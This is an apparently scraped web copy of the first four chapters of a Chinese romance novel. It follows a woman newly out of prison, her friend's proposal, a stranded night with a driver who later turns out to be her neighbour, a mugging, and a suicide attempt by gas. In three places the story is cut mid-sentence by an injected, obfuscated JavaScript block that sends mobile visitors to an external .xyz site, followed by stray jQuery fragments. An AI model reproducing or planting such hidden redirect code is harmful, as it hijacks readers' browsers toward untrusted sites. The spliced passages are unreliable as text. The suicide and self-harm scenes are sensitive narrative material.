《相顾已铭心》
1. 第01章
相对于春天来说,这雨大得不近人情,田遥往后退了一步,背包靠到了亮着白光的广告板上。她左右望了望,荒僻的街道上,只有她一个人立在公车站前。
田遥开始有些后悔冲动跑出来。她现在这样子,与五年前那个离家出走落魄少女无异。
早些时候,她还呆在一间大而舒适的公寓里,不用操心屋外的天气。那是温礼的住所,出狱之后,田遥就一直住在那里。
这种饭来张口衣来伸手的寄生生活,在温礼母亲敲开公寓大门的那一刻结束。
看清对方的模样,两人都有片刻的愣怔。温母的眼神从疑惑到严肃,继而是面无表情的冷漠。田遥震惊得薄唇微张,转而窘迫得欠了欠身,将温母迎进了屋内。
田遥:“阿……阿姨,您好!”
温母点头,径直坐到沙发上,手提包搁在身边。田遥忙到厨房沏茶,边烧水边琢磨温母来此的目的。当然这是她儿子的家,她来了也是情理之中的事。只是偏偏不凑巧,碰上温礼不在。
不一会水咕嘟咕嘟沸了,田遥泡上茶,用托盘恭敬地端到茶几上。
“阿姨,您喝茶。”田遥起身,拘谨地立在一旁,两只手习惯性地想背到身后,幸好半路被温母打断了。
“你坐。”温母没有端起茶杯,只朝她抬了抬下巴。
田遥依言,坐到了旁边的单人沙发上。
温母:“时间过得真快。你出来多久了?也没听阿礼提起。”
田遥:“一个月了。”
孤男寡女共处一室都一个月了。温母不由皱起眉头。这传出去像什么话,何况还是和一个刚从监狱里出来的女人。温母脸上的皱纹越发明显。
温母:“回过家了吗?”
这回轮到田遥眉头轻蹙,她摇头,“没有。”
就像一只碎了壳的蜗牛,家的概念对她来说早已淡漠。
“怎么不回去看看。”温母侧首,追问道。
温母的态度让田遥想起女狱警,她两膝并拢,两手规矩地搭在膝头,坐得十分端正。
“过段时间再回。”
田遥盘算着这段时间估计得很长,温母却巴不得让她立马滚回老家。
“你爸妈应该都盼着你早些回去吧。”温母顿了顿,“以后在哪里工作?”
“工作,”田遥不自在地挺挺脊背,“还没找……到。”
“是吗。”温母点点头,一切如她所料。“这样吧,你要是找不到,你就来找我。”
田遥睁大眼睛,不可思议盯着温母。
“我可以给你介绍工作,吃住都不用愁。”温母侧身,低头从手提包中翻出纸和笔,刷刷写下一串号码。
田遥倾身向前,双手接过纸片。
“阿礼最近认识了一个女孩子,他们互相看对了眼。”温母望着田遥,神情略显艰难,“你看,这屋子小,两个人住,挤。以后阿礼要把女朋友带回来,也不太方便。”
“噢——”田遥总算明白了温母此行目的,身子往后倾了倾,平静地说:“阿姨,您多虑了。我过几天就要走了。这段时间多亏了阿礼的仗义和照顾,我才没露宿街头。以后,不会再给他添麻烦了。”
得到了保证,温母露出了进屋以来第一个微笑。“你跟阿礼是多年同学,这点照顾也是应该的。”
温母不咸不淡又扯了几句,便离开了,连茶也没喝一口。
田遥低头,将纸片摊放在手掌。她盯着那11个张牙舞爪的数字好一会,直到它们都带上了重影。
她突然收紧手指,纸片被揉成一团,最后落进垃圾桶里,没入一个个纸巾团之中。
田遥摸到变凉的茶杯,端起一口喝掉。
门锁咔哒声响起时,田遥正坐在单人沙发上发呆。她直挺挺坐着,眼睛看着茶几,目光没有焦点。
“我回来了。”
温礼熟悉的声音从玄关处传来,田遥回首,看见他将一袋菜放在鞋柜上,然后弯腰从柜子里拿出一双拖鞋。
田遥走过去,将袋子拎进厨房。温礼换好鞋后,也跟着进来。
“下午干嘛了,出去逛了吗。”温礼看了她一眼,开始在水池边洗锅淘米。
温礼的厨房不小,田遥站在他斜后方厨台边,他们中间还有两个人的距离。
“没有。就看了会电视。”田遥没有再多说什么,温礼本就少言,气氛倏地冷下来。厨房里面只有哗哗流水声和塑料袋摩擦的嘶唦声。
袋子很饱满,田遥一样一样将水果蔬菜零食等等分门别类,装进冰箱。她将蔬菜用菜盆端到洗碗池时,温礼已经开始腌排骨。田遥不会做菜,她洗完菜,便退出了厨房。
田遥坐在沙发上,电视台开始播放聒噪的购物广告。田遥捡起遥控器随便转了台,厨房里抽油烟机开始响起。她转头看了一眼那个瘦长的背影,耳边传来嗞嗞炒菜声。
田遥的目光回到电视上又开始涣散,她心里琢磨着另外的事。
温礼左右开弓,三个菜很快上了桌——糖醋排骨、松仁玉米、蒜蓉菜心,都是她以前爱吃的菜。
田遥吃饭速度很快,没多久一碗饭便扒得只剩一半。温礼职业病作祟,曾语重心长劝诫她细嚼慢咽才有益身体。
田遥那时含着一嘴饭菜,皱眉摇头,含糊不清地说:“改不了,习惯了。”
话毕,她听闻温礼轻声叹气。
田遥将空碗搁到桌上,抽了纸巾抹了嘴,直直盯着埋头吃饭的温礼。相较之下,温礼吃饭跟他的性子一样,温吞得像个女人。
感觉到田遥的目光,温礼抬起头,瞧着坐姿端正的田遥。
“怎么了?”温礼不解,停箸望着她。
田遥微微偏头,避开他的目光,摇头说:“你先吃饭。”
一听就是有事相告的样子,温礼一愣,没了食欲。他放下碗筷,说:“什么事,你说吧。”
“吃饱了?”田遥惊讶地看了一眼温礼,他第二碗饭还剩大半。
温礼声音低沉,“说吧。”
田遥静静地看了他几秒,开口道:“我要走了。”
这回轮到温礼讶然。
温礼:“什么?”
田遥重复一遍,又补充道:“我总不能一直在这呆下去。”
温礼盯着她,这回田遥没有躲闪。她神情严肃,不像开玩笑。
温礼:“你在这挺好的。”
真的挺好的,田遥在这的一个月,他终于有了按时下班的迫切理由。虽然说白了,他们只是单纯的合住,温礼连田遥的手都没牵过。
田遥笑了笑,温礼从那抹若有似无的微笑里读出了无奈。
温礼想了一会,“是不是我妈来过了?”
田遥:“……”
温礼像观察病人一样注视她,田遥面不改色。实际上,田遥大多时候都是一个表情,温礼很多时候不知道她在想什么。
田遥:“我已经收拾好了。等会就走。”
温礼站起来,双手拄着饭桌沿。不知他因为愤怒还是激动,田遥可以明显看到他手上的青筋。
“阿礼,谢谢你。”田遥抬头看他,“这几年,尤其我出来的一个多月,多亏有你。”
温礼喉结滚了一下,田遥以为他要说什么。可他没有,田遥继续下去。
“好不容易出来了,我总想去做些一直想做的事——”
温礼打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684823|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
断了她,“你是想去找他们吗?”
田遥一愣,自嘲地笑了。她没钱没工作,有什么资本去找他们理论。再说理论这种事,她入狱前不知重复了多少遍。
田遥可以想象,离开这里,她会回到逃亡时的流浪生活。但相比之下,生活的压力远没有温礼给她的压力大。
有天晚上,田遥看着电视打瞌睡了。迷糊中她感到身旁的沙发下陷,而后额头传来温热柔软的触感。
田遥低估了温礼对她的感情。
“阿礼,我们不可能这样一直下去。我总是要离开一个人生活。你也会有你自己的生活。”田遥认真地说。
温礼没有回答,而是站直身,绕过饭桌走向田遥。
他弯下腰,从背后抱住了田遥,紧紧地。田遥身体僵硬,一时没有挣脱。
“小遥,”田遥脖颈处传来与那晚相似的触感,温礼沉声说:“……嫁给我吧。我爱你很多年了……我一直在等你,等你长大、等你出来。我想和你生活在一起……”
田遥一动不动,如雕像般任他抱着。屋里格外寂静,只有挂钟指针走动的声音。温礼的勇气随着滴答滴答的声音,一点点消逝。
最终,田遥掰开他的手臂,“温礼,如果我想和你在一起,五年前就答应你了。”
最后一丝勇气被抽走,温礼颓唐地退了一步。
是啊,有谁会像他那么傻,为一份不可能的感情,执着了十几年。连他自己都感觉哭笑不得。
温礼的手机不合时宜地响起,田遥识趣地走到卧室里。温礼只得接起,是医院来的电话,来了一个脑袋开花的重伤病人,需要他做手术。温礼应过,烦躁地挂了电话。
温礼深知田遥的固执,再劝无益。何况他头一次被这么直截了当地拒绝……他真不知该怎样面对她。
田遥的东西很少,日常用品和几件新买的衣服已是她的全部家当,背包都不饱满。
没多久温礼敲门进来,手里多了一个白色的信封,很厚实。
“这些钱你拿着,”温礼眼神飘忽,把信封递给她,“不够随时来找我。”他本来可以给她银行卡,但猜想田遥肯定不会用。
田遥没有拒绝,她确实需要钱。
“谢了,等我赚到钱再还你。”田遥将信封收进了背包里层。
“我要去医院了,今晚可能不回来。你……明天再走吧。”
田遥随口应了。
“那,就这样了。”温礼走了几步,到门边又转身看着她。
田遥:“?”
温礼:“小遥,能答应我一件事吗?”
田遥不解,“你说。”
温礼:“无论去哪里,都让我知道你的地址,可以吗……放心,我不会去找你,但起码让我知道你还好好的……”
活着。
田遥想了想,点点头,“好,我答应你。”
在监狱里呆得久了,对周遭的反应变得越发迟钝。等田遥从发呆中醒过来,公车的末班车早已开出了几十米。
田遥:“……”
这边是新开发区,雨夜里过往车辆较往日更少。又等了半个多小时,远处有车灯缓缓向这边移动。田遥隐约看出是辆小车,是出租车的可能性不大。
她还是朝车子招了手。
那是一辆银灰色的丰田卡罗拉,款式十分老土。看到就让人担心它随时会熄火。
田遥猜想司机大概是个中年大叔。
车窗下降,田遥凑过去。那声“大叔”溜到嘴边,又缩了回去。
田遥:“大……大哥,能顺便捎一段路吗?我打不到车。”
司机是个年轻男人,长得好看,又眼熟。
2. 第02章
陈景皓心不在焉地把着方向盘。他只是朝着路边光亮的公车站瞥了一眼,便看见那里有个人在招手。左右望了眼,路上就他一辆车,陈景皓将车缓缓靠了过去。
那人短发,穿黑色卫衣,大概军绿色的裤子,背了一个双肩包。陈景皓初以为是个离家出走的少年,直到那人开口——
“大……大哥,能顺便捎一段路吗?我打不到车。”
毫无疑问的女声。
陈景皓看着那张秀气的脸,点头:“啊,你要去哪?”
司机声音沙哑,略带鼻音。
田遥卡壳片刻,才答:“到市区方向吧。”
听起来更像是确认他的行车方向。
陈景皓点头,开了锁:“上来吧。”
田遥道谢,坐了进去,解下背包抱在怀里。车内饰和它的外形一样,透着股沧桑。
陈景皓才发现,这姑娘岂止清秀,简直有点刷新他的审美了——当然除开那头参差不齐的短发的话。
田遥等了一会,司机没有开车的意思。田遥侧头,看着司机。司机也望着她。
陈景皓平静地提醒道:“安全带。”
田遥顿悟:“是。”
她侧身拉安全带。许是车子老旧,田遥拽了几下,才把安全带扣上。
听到她生硬的回答,陈景皓有些愣怔。
他并不是在命令她,她却回答得像士兵对上级一样。
等那咔哒声传来,陈景皓才回过神来发动车子。
陈景皓没有放音乐,也没有听收音,车里安安静静。车上多了一人,他比先前多了几分专注。
外面潮湿又阴暗,车内像被隔成另一个世界。田遥盯着打在挡风玻璃上的雨滴,还有规律摆动的雨刷,琢磨着那张脸的熟悉感从何而来。
“姑娘哪里人啊?”也许是觉得车里气氛沉默而尴尬,司机主动搭讪。
田遥好一会才反应过来是在问她。
她逮着机会瞅了瞅司机的侧脸,刚毅的曲线险些让她失神。
只是还是想不起。
田遥放弃,答道:“葵安。”
葵安是宁川市下的一个县。陈景皓旋即接话,“那挺近的。我有朋友也是那里人。”
田遥:“哦。”
陈景皓默了一默,又问:“怎么大晚上的一个人在那个地方啊?”
田遥:“打不到车。”
陈景皓:“……”
又换了几个寻常话题,田遥都简要作答,但从不反问。陈景皓瞧她似乎不太爱说话,索性闭嘴,专心开车。
雨开始变小,陈景皓开车稳当,田遥渐渐有了睡意。
前方是一个铁路涵洞,车前灯的光柱打到一片积水上。陈景皓减缓了车速。只是那么几秒的时间,车身一阵晃动,车前灯灭了。
熄火了。
他们陷入一片昏暗中,田遥彻底没了睡意。
“……这破车!”陈景皓低骂了一句,挂了空挡拉起手刹,摸出手机打亮了电筒。
陈景皓平时开惯了SUV,估摸着这水深最多舔到底盘。他全然忘了身下是一辆破破烂烂的丰田卡罗拉。
田遥喃喃:“熄火……了?”
陈景皓歉然,“嗯。我们下车吧。”
田遥:“是。”
陈景皓这回没空细品她那个严肃的回答。他掰了掰门锁,车门刚推开,积水就漫了进来。
陈景皓皱眉,没有犹豫,跨出了车外。积水已经泡到他的小腿肚。
田遥看见漫进来的水,条件反射地抬起脚。
“你等等。”陈景皓说着,淌着水绕到她那边,从外面拉开车门。
陈景皓拿着手机的手抵着车门,低头看着田遥,“水太深了,我背你出去吧。天冷,弄湿了不好。”
本来好心载客,没想出了意外,陈景皓多少有些过意不去。水已经泡到他的小腿。
田遥却摇摇头,一脚跨出,踏进水里。
“……”
陈景皓见势退了一步。
“没事。”田遥站到水里,将背包甩到肩上。
手机的白光在空旷幽黑的涵洞里劈出一方光亮,田遥这才发现,司机个头很高,比她高出了大半个头。他穿了蓝色冲锋衣,看起来很结实。
陈景皓无奈,手机朝外晃了晃,“好吧。你先到外面干的地上。”
田遥不动,“那你呢?”
“总得先把车推出去。”
陈景皓蹚到车头,带动的水声在涵洞里格外响亮。田遥背好背包,蹚到了他身边。
陈景皓的目光和灯光都追随着田遥,“你跟过来干嘛?”
田遥理所当然,说:“不是要推车吗。”她抡起袖子,伏下身两手压在车盖边缘。
陈景皓一愣,在这样困窘的场合下,他忽然微不可见地笑了笑。
“你会开车吗?”陈景皓问她。田遥抬头看着他,若有所思地点点头。
“去把手刹放下。”陈景皓吩咐她。田遥照做,她弯腰从驾驶座出来,便感觉到车在缓缓后退。
这司机力气真不是一般大。
陈景皓早已收起手机,田遥扶着车身回到他身边,埋头合力把车子往外推,谁也没有说话。车盖冰凉,她双臂开始发麻,脚部传来的寒气让她冷得微微战栗。
车子一点点往后退,细雨洒到他们身上时,车子终于被推出了积水区。田遥听陈景皓的吩咐,又回去把手刹拉起。
陈景皓扶着车盖喘气,让她稍等,便掏出手机打电话。
田遥识趣地走开了一些。她站在路边眺望周围,路两旁被大树和灌木挡住,黑灯瞎火看不出这是什么地方。夜风细雨,田遥打了一个喷嚏,赶紧将兜帽罩上。
陈景皓打完电话走到她身边,说:“太晚了拖车来不了,得等明早才能把车子拖走。”
田遥闻声转过身,陈景皓也戴上了冲锋衣的帽子,两个人的裤管还滴着水,细雨在外套的表面蒙上一层白砂糖。
他又继续说:“这会估计也打不到车。等会就近找个旅馆,休息一晚,明天我再送你到市区。你看怎样?”
田遥冷得只想跑在热水里。她没多想地点点头。
“好。”陈景皓回去关好窗,锁好车,再度打亮了电筒,便和田遥往来时方向走。
走了几步他才回过神来,问田遥:“你怎么不打伞?”
田遥两手揣兜里,头也不抬,“没伞。”
陈景皓:“……”
半晌,田遥突然仰头看着他,“你也没伞。”
“嗯。”
陈景皓和田遥复又恢复沉默,闷头继续往前走。
走了大概半小时,陈景皓和田遥来到一家旅馆,门口上方悬挂的LED显示板滚动着客房的优惠信息。
陈景皓推门进去,田遥紧跟着。被冻了太久,进到门厅都让他们感觉到说不尽的暖和。
“先生,请问要住店吗?”柜台后的服务员撑起眼皮起身问道。
“你们这还有单人间吗?”陈景皓问。
“有的。”服务员扫了一眼田遥,又低头看电脑上的住房信息,“还有几间。”
“那麻烦帮开两间单人间。”陈景皓掏出钱包。“一晚。”
田遥也卸下背包,准备掏钱。
陈景皓拦住她,“不用,我来。今晚让你淋雨受冻了,都我的错,不然你现在都能在市区了。”
田遥静静注视着他,像在确认。在陈景皓坚定的目光下,她收回了手。
她的顺从让陈景皓很受用。
服务员:“单人间一百六,押金一百,一共五百二十。麻烦两位出示一下身份证。”
陈景皓和田遥都将身份证放到桌上,收手之时,两人都往对方的卡片上瞥了一眼。可惜卡片被服务员快手地抹走了,他们都没看清上面的名字。
田遥撇开眼,陈景皓却将目光移到了她的侧脸上。
刚才路上没注意,陈景皓这才发现田遥长得高挑瘦削,白白净净,看起来像个少年。
因着那头不羁的短发,她在陈景皓眼中横竖都成了少年。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684824|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
服务员低头为他们择单开房,把POS机递过来,陈景皓伸手去按密码。田遥转过眼,打量起这家旅店。
风格很古朴,目力所及都是红褐色的木质家具和青白色的瓷器,看起来倒幽静。
服务员把房卡和身份证还给他们,房间在三楼。
陈景皓和田遥离开前台时,地板上积了一小滩水。
乘电梯直上三楼,门廊铺着深蓝条纹地毯。他们的房间挨在一起。
进门前,陈景皓叫住田遥,“明天我喊朋友过来,到时把你一起送到市区。明早我叫你。”
田遥点点头。
“那,晚安。”陈景皓说完,刷开了门。
“晚安。”
田遥进门,随手将背包扔在床边的单人沙发上。她坐到床边,脱下浸湿的鞋袜,脚都泡出了橘皮。
她在外面脱了个精光,才走进浴室。热水淋到身上,两条腿才终于慢慢恢复知觉。
田遥洗完换上睡衣,坐在床上边擦头发边回想一晚的经历。想着想着焦点又落在那个司机的俊脸上。
到底在哪里见过,却怎么也想不起来。
最终敌不过睡意,田遥在想出答案前睡着了。
翌日六点,没有闹钟,田遥依然准时醒了。她猜这个点隔壁司机还没起,洗漱完毕后又再床上发了会呆。拉开窗帘,外面早已放晴。窗外街边的枯树上,不知几时冒出了绿芽。
春天来了,她的生日也快到了。
田遥没有看手机的习惯,估摸着七点多快八点,她穿上依然潮湿的跑鞋,背上背包,敲响了隔壁的门。
她叩了三下,退了一步等着门开。
那个司机的动作出奇的慢,田遥等了许久,在犹豫着要不要再敲门时,木门才被从里拉开。
“那么早啊。”陈景皓睡眼惺忪地看着她,说完别过脸打了一个哈欠。
陈景皓上身穿了一件深蓝长袖衫,下^身……只穿了一条黑色平角内裤,下面露出精壮的长腿。田遥不由脸红了。
她正想跟他道别,陈景皓又说:“你等我一下,我再睡一会,实在太困了。”
说完,他连门也不关,径直回到了屋里。田遥这回才注意到,他的鼻音比昨天更重了。
田遥在门口犹豫了一下,轻手轻脚地推门进去。
陈景皓侧躺在床上,紧裹着被子,只露了一个头在外面。床头柜放着黑色的钱包和手机,他换下的衣服随意搭在沙发上。
田遥不自在地抠着背包的肩带,问:“哎,你是不是生病了?”
“唔……”陈景皓抬了抬头,看了一眼站在床尾的她,又浑不在意地躺下,拉起棉被捂到下巴,含糊不清地喃喃,“没事,我再睡一会,再睡一会就好了。”
田遥静静等了一会,才壮起胆子,走到床头,隔着衣袖口探了探他额头的温度。她依然感到灼热的温度。
田遥起身,走到门边将陈景皓的房卡从取电槽中拿出,插上自己那张后出了门。
出到室外,她忍不住打了一个寒战,脚底寒气越发明显。
她沿着大街走了二十分钟,才找到了一家药店。她想起温礼买过的感冒药牌子,叫店员拿了一盒,仔细研读了一遍说明,才付钱离开。
回来路过早餐铺,田遥要了两个包子匆匆咽下,又打包了一份瘦肉粥。
陈景皓再次醒来是因为旅店的电话,前台问他是否还要续住。他只说不用,等下便退房。挂上电话,陈景皓看见床边桌上多了些东西。
一盒开封的感冒药,铝箔包装片上空了一格,还有一个打包碗,旁边一个空水杯。
陈景皓虽脑袋昏沉,期间之事却记得一清二楚。
那姑娘话不多,甚至没有跟他道别,只烧了水,看着他把药吃完,就离开了。
陈景皓以为她只是回到隔壁,没想到……他对着桌上多出来的房卡和一百六十块人民币叹了一口气。
碗里的粥早已凉透,陈景皓不以为意地喝完,又补了一颗药。他收拾妥当,拿着两张房卡下了楼。
3. 第03章
田遥在泰景江畔的一个老小区租了房。小区建于上个世纪末,楼房墙面是老旧的灰色瓷砖,窗户下方大多渗着褐色的锈迹。
房东是一对中年夫妻,在这住了二十几年,最近搬了新家,才低价将房子转租出去。房东走前把另外一把钥匙交给她,拜托她一件事。
钥匙是对门家的。那里住着一个三十出头的男人,但不常回来,留了把备用钥匙给房东,让他帮忙偶尔照看那些花草。房东有时家里来了亲戚,家里住不下时,邻居也会大方地把地方暂借给他们。
房东已经跟邻居打过招呼,邻居让房东直接把钥匙留下就成,反正屋里也没什么值钱的东西。
听到这处,田遥已明白房东的意思。她便答应房东,钥匙她会保管,到时一定给到邻居手上。
房东留下大部分家具,田遥只添置了一些日常用品。她从背包里抖出温礼的旧手机,上面只存了他的号码。
田遥想了想,还是发信息告诉温礼,她在泰景江畔找到了住的地方。
田遥在附近一家火锅店找了份服务员的差事。领班看她长得标致,又一副顺从老实的样子,便把她留了下来。
哪知不出一天,领班就开始后悔。
这到底是上班还是上坟啊,一天到晚一副扑克脸,搞得顾客跟劈腿前任似的。
幸而田遥做事勤快,领班大姐才没厉声训斥她。
由是,田遥每晚被罚咬筷子练习微笑一个钟。
田遥渐渐有了让领班满意的表现。
只是那些机械的笑容,和火锅店的味道一样,多得让她恶心。
下了班,田遥沿着长得不见头的泰景江回去。沿路的酒吧在喧嚣。江边的树影下,有情侣搂在一起看江景。白天路过的时候,还能看见有人在江畔画画。
画画。
田遥突然停下脚步,茫然伸出右手,指尖抽搐般动了动,那仿佛不是自己的手。
住的地方在对岸,夜晚十点的大桥上人车稀少。田遥依然穿了黑色卫衣和军绿色裤子,头发长了一些,她的背影终于勉强有了一些女人的样子。
每次经过,田遥总有翻过栏杆跳下去的冲动。
她生活得那么边缘,独来独往,也许消失了也不会有人发觉,就像街边的乞丐一样。
黑色是包容的色彩。田遥走走停停,不断转头望望那片黑粼粼的江水,浑然不知危险已近。
耳边摩托车的声音渐近,摩托车有减速的趋势。田遥没有分出一丝的警惕,继续埋头走着。
倏然间,她感觉脖颈被人箍住,反应过来后,已被摩托车拖出了几米。
田遥本能地挣扎,拼命去掰那人的手臂。脖子被紧紧勒着,她只挤出含糊不清的几声。
那人不断把田遥往车上拽,田遥双腿乱蹬,小腿肚几次撞到烟囱,烫得她眼泪都出来了。
后面不远处,一辆白色SUV驶近,经过摩托车时明显降速,喇叭声响起。
田遥只感觉脖子上的禁锢突然消失,她失去支撑摔倒,后脑勺重重磕到水泥路面,发出沉闷的声响。
“哎,你没事吧?”白色SUV停下,副驾的窗探出一颗浅红色的脑袋问。
田遥翻了个身,从地上爬起来。她抱着被撞疼的胳膊肘,身上蹭了不少灰,那头本就参差不齐的头发更加凌乱不堪。
她依然低着头,朝声音方向微微鞠了一躬,算是感谢。
田遥从刘海缝隙望去,白色的车身上有几道黄色和棕色的条纹。
“哎,你没事吧?要不要送你上医院啊?”刚才那道男声再度响起。
田遥摇头,大步前行,走出几步后,几乎是小跑着离开大桥。
红发男人:“……”
“哥,我们走吧。”红发男人升起车窗,对开车的男人喃喃了一句,白色SUV再次向着它原本的目的地前进。
田遥一路不停歇,狂奔着回到住处。大门刚摔上,她便倚着门背,跌坐到地上。她把脸埋在膝盖间,眼泪便流了出来。
不应该是这样的。
怎么会变成这样。
墙上挂钟依然在走。田遥明明听不清秒针的声音,却感觉那滴答滴答一声一声地砸在她身上,催促着她。
过了十二点她就二十七岁了。
二十七岁。
一事无成。
在田遥的憧憬里,这个年纪的她,或许会成为小有名气的画手,有自己的工作室,带一两个徒弟。
或许她还会和喜欢的男人相守,吵吵闹闹过日子。
即使过得再差,也不该是现在这样子。
田遥连站起来的力气也没有了。
哭累了,田遥随便抹了一把脸,起来进屋换了一身衣服。
她打开屋里所有的灯,又将窗都关上。然后,田遥走进厨房,拧开了煤气罐——
【你以为我想拦着你?你要死就出去再死,你现在死了只会连累我们。你死了,解脱了,我们还要替你受处罚。你这样会影响减刑指标,你懂吗?!】
刚进监狱的时候,田遥半夜用磨尖的牙刷柄割开左手腕,同号子的大姐扇了她一巴掌,并帮她止住了血。
她的左手腕还留着一道浅浅的疤痕。
田遥想着,现在,她无牵无挂,总不会连累别人了吧。
田遥回到客厅,想着该以什么样的姿势离开。这一刻她心里无端平静,刚才的恐惧感消失殆尽。
煤气味有些呛鼻,田遥坐到沙发上。那些清晰的、模糊的面孔和画面不断飞入眼帘,田遥渐渐感觉到有些眩晕,像坠入光怪陆离的梦境。
直到最后一切都汇聚成震耳的声响——
笃、笃、笃。
这是到达另一个地方了吗?
田遥茫然地看看周围。
不应该啊,还是这个破地方。
笃笃笃。
“有人在家吗?”
男人的声音。
有人敲门。有人在敲她的门。
可大晚上的谁回来找她啊,附近的人她压根不认识。
田遥琢磨了几秒,霎时恍然。
对门的,来拿钥匙。
“等等啊。”
田遥大叫。接着她冲进厨房,迅速关上煤气罐,又手忙脚乱地打开厨房的窗户。
她不是不想走,而是不想让人知道她走了。
“你找谁啊。”田遥回到门边,这门没有猫眼,外面也没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684825|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
防盗门,她隔着木门朝外喊。
“打扰了,我是住对门的。原来留了把钥匙在张叔这,我从楼下看灯还亮着,就来敲门。我忘带钥匙了。”
“噢。”田遥将门打开了一些,她左手撑着门框,身子防备地躲在门后。
门外站着一个高大的男人,借着室内的光,田遥看清了男人的面容。
“啊……”田遥歪着脑袋,姿势不变,就那么盯着他。
那个司机。
她不会认错。一个多月前的早晨,她曾趁着他熟睡,偷偷打量了他许久。
剑眉如墨,鼻梁高挺,薄唇紧抿,整张脸棱角分明。留着板寸让他看起来更是硬朗,那时田遥看呆了,直想抚摸一下他浓黑的短发。
也是那时,田遥想明白了一件事。
那个司机,眉眼有那么一丢丢像她前男友呵。
陈景皓微微一愣,“……是你啊。”
“唔。”
田遥刚想去拿钥匙,陈景皓突然皱眉,“你没关煤气吗?怎么煤气味那么浓?”
他疑惑的眼光扫到她支在门框的左手上。
她左手腕上有一道细长的疤痕。
发觉他的目光,田遥立刻把左手缩到身后。
“我……刚才正要煮宵夜,唔,煮宵夜,忘了关了……我这就去关。”
田遥慌忙回到厨房,动作太大,跑过客厅时小腿磕到了茶几角。
陈景皓:“……”
陈景皓进门,打开了客厅的窗户。夜风灌进来,冲淡了煤气味。
他略略打量了一圈,家具虽然还是以前那些,其他物件却几乎没有,这里那里都空落落的,真想象不出还有人住在这里。
还是一个女人。
还是一个漂亮女人。
当然除去那头倒扣分的乱发不提。
田遥出到客厅,在原来的电视柜抽屉里找出备用钥匙。
“给你。”田遥把钥匙递给他。
“谢谢。”陈景皓看着她低垂的眉眼,不觉有些愣神。
他走几步,快到门边忽然回过身,“那个——”
“啊?”田遥也跟着停住,抬头望着他。
他的眼眸晶黑,眼神深邃。那可以包容万物的黑色,田遥觉得自己快要沉进去了。
“出去吃宵夜吗?”陈景皓掂了掂手里的钥匙,又说:“我请你。算是谢谢你上次帮我带药,还有吃的。”
夜晚十一点,吃宵夜,和刚认识不久的男人。
真是荒唐的邀请。
陈景皓忍不住自嘲。
田遥只安静了几秒,便鬼使神差地点点头。
她现在极度不愿一个人呆着。而从那晚的经历来看,她并不排斥和这个司机相处。
陈景皓虽然有些意外,但终归舒了一口气。
田遥锁了门,跟着陈景皓下了楼。
到了平地他们并肩而走,陈景皓侧首看了看她,田遥只顾着低头走着。
陈景皓说:“以后就是邻居了,还不知道你的名字呢。我叫陈景皓。”
田遥嗯了一声,答:“我叫田遥。”
陈景皓:“……哪个遥?”
“遥远的遥。”
4. 第04章
出到小区门口,陈景皓问田遥:“想吃点什么?”
“不知道。”田遥应得太快,后才发觉这话听起来太兴致索然,又补充道:“我对周边不熟,你选吧。”
“那喝砂锅粥去吧,拐个弯就到了。”
陈景皓带着田遥来到沿江的宵夜街,店门口搭着遮雨棚。虽然将近午夜,人却不少。海侃、抽烟、喝酒、猜码,热闹得让田遥感觉自己像个老人。
他们经过烤鱼摊,田遥多看了几眼那黑熏熏的烤鱼。陈景皓心里暗笑,说:“要不吃烤鱼吧?”
田遥回神,不确定地问:“……可以吗?”
“有什么不可以。”
陈景皓寻了一个空位坐下,田遥坐在对面。
服务员端来一个注水的长方形铁盘,还有一张油腻卷边的菜单。陈景皓把菜单推给田遥,“看看想吃什么。”
田遥略扫了一眼,把菜单转回给陈景皓,“就烤鱼吧。”她看到邻桌上了挺大的一份。
陈景皓叫了一份微辣的烤鱼,又问:“喝点什么?”
田遥想了想,询问似的看着他,“……啤酒?”
“来瓶啤酒。”陈景皓又跟服务员说。
服务员走后,陈景皓边给田遥倒茶,边说:“田小姐是做什么工作的?”
“在火锅店当服务员。”田遥拿过茶杯,“谢谢。”
陈景皓本以为她会反问,这样一来二去就聊开了,可是她没有。她喝了一口茶,放下茶杯,盯着装水的铁盆发呆,当陈景皓如空气。
陈景皓的一腔热情有些挂不住。
习惯了沉默,田遥许久才接话,“你呢?”
“在酒吧里头。”
上菜的速度很快,服务员两个铁钩子勾着燃着木炭的烤鱼锅,搁到了长方铁盘上。啤酒也跟着上了,陈景皓依然给她倒了酒。
田遥端起要喝的时候,陈景皓却说:“先垫个肚子再喝吧,不然对胃不好。”田遥一愣,搁下杯子,拿起了筷子。
鱼刺难挑,鱼肉烫口,田遥吃得慢,终于有了点女人的样子。看着她认真剔刺,陈景皓不觉放松起来,端起杯子喝了口酒。
田遥抬头,“你不是说空腹喝酒对胃不好么?”
